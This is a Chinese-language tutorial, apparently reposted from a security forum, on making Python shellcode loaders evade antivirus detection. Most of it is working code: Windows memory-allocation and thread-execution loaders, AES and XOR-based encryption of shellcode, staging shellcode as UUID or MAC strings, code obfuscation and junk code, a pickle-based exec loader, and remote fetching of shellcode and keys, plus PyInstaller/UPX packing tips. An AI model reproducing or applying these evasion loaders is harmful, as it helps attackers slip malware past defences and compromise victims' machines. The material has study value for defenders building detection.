python shellcode免杀的常用手法
字数 995 2025-08-22 12:23:36

Python Shellcode免杀技术详解

一、Shellcode加载原理

Python加载shellcode的基本流程遵循以下三个步骤:

  1. 申请可执行内存:使用VirtualAlloc函数分配具有可执行权限的内存区域
  2. 写入Shellcode:将shellcode复制到分配的内存中
  3. 执行内存:创建线程执行内存中的shellcode

1.1 内存分配

使用Windows API函数VirtualAlloc分配可执行内存:

import ctypes
rwxpage = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),              # 地址(0表示让系统选择)
    ctypes.c_size_t(len(shellcode)), # 大小
    ctypes.c_uint(0x3000),        # MEM_COMMIT | MEM_RESERVE
    ctypes.c_uint(0x40)           # PAGE_EXECUTE_READWRITE
)

1.2 Shellcode复制

使用RtlMoveMemory函数(相当于memcpy)复制shellcode:

ctypes.windll.kernel32.RtlMoveMemory.argtypes = (
    ctypes.c_void_p,  # Destination
    ctypes.c_void_p,  # Source
    ctypes.c_size_t   # Length
)
ctypes.windll.kernel32.RtlMoveMemory.restype = None

buffer = ctypes.create_string_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_void_p(rwxpage),
    buffer,
    ctypes.c_size_t(len(shellcode))
)

1.3 执行Shellcode

使用CreateThread创建线程执行shellcode:

handle = ctypes.windll.kernel32.CreateThread(
    None,              # lpThreadAttributes
    0,                 # dwStackSize
    ctypes.c_void_p(rwxpage),  # lpStartAddress
    None,              # lpParameter
    0,                 # dwCreationFlags
    ctypes.byref(ctypes.c_ulong())  # lpThreadId
)

# 等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

二、Shellcode免杀技术

免杀主要从两个方面入手:

  1. 对shellcode本身进行处理(加密/编码/混淆)
  2. 对加载器代码进行处理(混淆/变换)

2.1 Shellcode加密技术

2.1.1 Base64编码

import ctypes
import base64

s = b'...'  # base64编码的shellcode
shellcode = base64.b64decode(s)

rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

2.1.2 AES加密

加密部分:

from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

shellcode = b"..."
key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(shellcode, AES.block_size))
iv = b64encode(cipher.iv).decode('utf-8')
ct = b64encode(ct_bytes).decode('utf-8')

解密部分:

import ctypes
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

iv = 'xxx'
key = b'xxx'
ase_shellcode = 'xxx'

iv = b64decode(iv)
ase_shellcode = b64decode(ase_shellcode)
cipher = AES.new(key, AES.MODE_CBC, iv)
shellcode = bytearray(unpad(cipher.decrypt(ase_shellcode), AES.block_size))

# 加载shellcode...

2.1.3 多重编码+异或加密

加密脚本:

import string
import base64
import random
from sys import version_info

def encrypt(buf, key):
    """shellcode混淆加密"""
    shellcode1 = base64.b32encode(buf)  # base32编码
    shellcode2 = base64.b16encode(shellcode1)  # base16编码
    
    if version_info >= (3, 0):
        shellcode3 = shellcode2.hex()  # python3
    else:
        shellcode3 = shellcode2.encode('hex')  # python2
    
    # 异或加密
    random.seed(key)
    shellcode = ''
    for i in shellcode3:
        shellcode = shellcode + str(ord(i) ^ random.randint(0, 255)) + "."
    return shellcode.rstrip('.')

解密脚本:

def decrypt(code, key):
    # 异或解密
    random.seed(key)
    xor_code = code.split('.')
    res_code = ''
    for i in xor_code:
        res_code = res_code + chr(int(i) ^ random.randint(0, 255))
    
    # 三重解码
    if version_info >= (3, 0):
        shellcode = bytes.fromhex(res_code)
    else:
        shellcode = res_code.decode('hex')
    
    shellcode = base64.b16decode(shellcode)
    shellcode = base64.b32decode(shellcode)
    return shellcode

2.2 加载器免杀技术

2.2.1 UUID加载

将shellcode转换为UUID格式:

import uuid

buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00..."
if len(buf) % 16 != 0:
    replenish_byte = b"\x00" * (16 - len(buf) % 16)
    buf = buf + replenish_byte

shellcode = []
for i in range(len(buf) // 16):
    bytes_a = buf[i*16:16+i*16]
    b = uuid.UUID(bytes_le=bytes_a)
    shellcode.append(str(b))

加载执行:

import ctypes

shellcode = ['e48348fc-e8f0-00c8-0000-415141505251', ...]

rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode)*16, 0x1000, 0x40)
rwxpage1 = rwxpage
for i in shellcode:
    ctypes.windll.Rpcrt4.UuidFromStringA(i, rwxpage1)
    rwxpage1 += 16

handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

2.2.2 MAC地址加载

将shellcode转换为MAC地址格式:

import ctypes

buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00..."
if len(buf) % 6 != 0:
    replenish_byte = b"\x00" * (6 - len(buf) % 6)
    buf = buf + replenish_byte

macmem = ctypes.windll.kernel32.VirtualAlloc(0, len(buf)/6*17, 0x1000, 0x40)
for i in range(len(buf)/6):
    bytes_a = buf[i*6:6+i*6]
    ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem + i*17)

mac = []
for i in range(len(buf)/6):
    d = ctypes.string_at(macmem + i*17, 17)
    mac.append(d)

加载执行:

import ctypes

mac = ['FC-48-83-E4-F0-E8', 'C8-00-00-00-41-51', ...]

ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(mac)*6, 0x1000, 0x40)
rwxpage = ptr
for i in range(len(mac)):
    ctypes.windll.Ntdll.RtlEthernetStringToAddressA(mac[i], mac[i], rwxpage)
    rwxpage += 6

ctypes.windll.kernel32.VirtualProtect(ptr, len(mac)*6, 0x40, ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

2.2.3 代码混淆

变量名随机化:

import random
import string

class AutoRandom:
    def auto_random_str(self, min_length=8, max_length=15):
        length = random.randint(min_length, max_length)
        return ''.join(random.choice(string.ascii_letters) for x in range(length))

def make_variable_random(shellcodeloader):
    shellcodeloader = shellcodeloader.replace("ctypes", AutoRandom.auto_random_str())
    shellcodeloader = shellcodeloader.replace("shellcode", AutoRandom.auto_random_str())
    shellcodeloader = shellcodeloader.replace("ptr", AutoRandom.auto_random_str())
    return shellcodeloader

添加花指令:

w_code1 = """
import random
def partition(test_arr, low, high):
    i = (low - 1)
    pivot = test_arr[high]
    for j in range(low, high):
        if test_arr[j] <= pivot:
            i = i + 1
            test_arr[i], test_arr[j] = test_arr[j], test_arr[i]
    test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1]
    return i + 1

def quick_sort(test_arr, low, high):
    if low < high:
        pi = partition(test_arr, low, high)
        quick_sort(test_arr, low, pi - 1)
        quick_sort(test_arr, pi + 1, high)

test_arr= []
for i in range(59999):
    test_arr.append(random.random())
n= len(test_arr)
quick_sort(test_arr,0, n - 1)
"""

2.2.4 反序列化加载

序列化:

import pickle
import base64

shellcodeloader = """
import ctypes,base64,time
shellcode = base64.b64decode(b'/EiD5PDoyAAAAE....')
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffered, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""

class AAA(object):
    def __reduce__(self):
        return (exec, (shellcodeloader,))

seri = pickle.dumps(AAA())
seri_base64 = base64.b64encode(seri)
print(seri_base64)

反序列化执行:

import base64, pickle
shellcodeloader = b'gASVwgcAAAAAAACMCGJ1aWx0aW5zlIwEZX...'
pickle.loads(base64.b64decode(shellcodeloader))

2.3 远程加载技术

将加密后的shellcode和key保存在远程服务器上:

import ctypes
import base64
import random
from sys import version_info
from urllib.request import urlopen

def get_data(url_shellcode, url_key):
    """远程获取shellcode"""
    if version_info >= (3, 0):
        from urllib.request import urlopen
    else:
        from urllib2 import urlopen
    
    key = urlopen(url_key).read().decode()
    shellcode = urlopen(url_shellcode).read().decode()
    return shellcode, key

if __name__ == "__main__":
    url_shellcode = "http://ip:8000/shellcode.txt"
    url_key = "http://ip:8000/key.txt"
    
    shellcode, key = get_data(url_shellcode, url_key)
    shellcode = decrypt(shellcode, key)  # 使用前面介绍的decrypt函数
    runcode(shellcode)  # 使用前面介绍的runcode函数

三、打包与优化

3.1 使用PyInstaller打包

结合UPX压缩壳使用:

pyinstaller -F -w .\shellcode.py --upx-dir D:\upx.exe --clean

3.2 代码压缩

使用python-minifier缩小代码体积:

pip install python-minifier
pyminify .\bypass.py --output bypass-mini.py

四、总结与建议

  1. Python加载shellcode的免杀方式多样,但生成的exe文件较大
  2. 推荐结合多种技术使用,如加密+混淆+远程加载
  3. 对于更高效的免杀,建议考虑使用C#或Go语言实现
  4. 云沙箱通常会将py2exe/pyinstaller生成的exe标记为可疑,需特别注意

五、参考资源

  1. 先知社区原帖:python shellcode免杀的常用手法
  2. PyObfuscate代码混淆工具:https://pyob.oxyry.com/
  3. UPX压缩工具:https://github.com/upx/upx
Python Shellcode免杀技术详解 一、Shellcode加载原理 Python加载shellcode的基本流程遵循以下三个步骤: 申请可执行内存 :使用VirtualAlloc函数分配具有可执行权限的内存区域 写入Shellcode :将shellcode复制到分配的内存中 执行内存 :创建线程执行内存中的shellcode 1.1 内存分配 使用Windows API函数 VirtualAlloc 分配可执行内存: 1.2 Shellcode复制 使用 RtlMoveMemory 函数(相当于memcpy)复制shellcode: 1.3 执行Shellcode 使用 CreateThread 创建线程执行shellcode: 二、Shellcode免杀技术 免杀主要从两个方面入手: 对shellcode本身进行处理(加密/编码/混淆) 对加载器代码进行处理(混淆/变换) 2.1 Shellcode加密技术 2.1.1 Base64编码 2.1.2 AES加密 加密部分: 解密部分: 2.1.3 多重编码+异或加密 加密脚本: 解密脚本: 2.2 加载器免杀技术 2.2.1 UUID加载 将shellcode转换为UUID格式: 加载执行: 2.2.2 MAC地址加载 将shellcode转换为MAC地址格式: 加载执行: 2.2.3 代码混淆 变量名随机化: 添加花指令: 2.2.4 反序列化加载 序列化: 反序列化执行: 2.3 远程加载技术 将加密后的shellcode和key保存在远程服务器上: 三、打包与优化 3.1 使用PyInstaller打包 结合UPX压缩壳使用: 3.2 代码压缩 使用python-minifier缩小代码体积: 四、总结与建议 Python加载shellcode的免杀方式多样,但生成的exe文件较大 推荐结合多种技术使用,如加密+混淆+远程加载 对于更高效的免杀,建议考虑使用C#或Go语言实现 云沙箱通常会将py2exe/pyinstaller生成的exe标记为可疑,需特别注意 五、参考资源 先知社区原帖:python shellcode免杀的常用手法 PyObfuscate代码混淆工具:https://pyob.oxyry.com/ UPX压缩工具:https://github.com/upx/upx